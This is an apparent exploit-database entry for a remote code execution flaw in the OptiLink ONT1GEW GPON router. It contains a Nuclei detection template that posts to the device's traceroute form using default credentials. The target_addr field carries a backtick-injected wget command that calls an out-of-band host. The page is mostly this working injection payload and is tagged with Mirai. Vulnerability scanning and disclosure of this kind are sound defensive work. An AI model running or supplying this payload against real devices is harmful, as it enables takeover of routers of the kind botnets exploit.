optilink-ont1gew-gpon-rce: OptiLink ONT1GEW GPON Remote Code Execution

2025-08-01 OptiLink ONT1GEW GPON PoC Public

Description

OptiLink is susceptible to remote code execution vulnerabilities which could allow an authenticated, remote attacker to perform command injection attacks against an affected device.

PoC

id: optilink-ont1gew-gpon-rce

info:
  name: OptiLink ONT1GEW GPON Remote Code Execution
  author: gy741
  severity: critical
  description: OptiLink is susceptible to remote code execution vulnerabilities which could allow an authenticated, remote attacker to perform command injection attacks against an affected device.
  reference:
    - https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.html
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: optiLink,rce,oast,mirai,packetstorm,vuln

http:
  - raw:
      - |
        POST /boaform/admin/formTracert HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/diag_ping_admin_en.asp
        User: e8c
        Password: e8c

        target_addr="1.1.1.1+`wget+http%3A%2F%2F{{interactsh-url}}%2F`"&waninf=127.0.0.1"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a004730450220685c31921ba0a77cccd3b20fd3139d17c0786d60679a99fc9176a13576cb03b5022100f59f256de5f00d7d7fb8acbeef492f3b03dab4a28a3144de1b01a5085e0b684b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities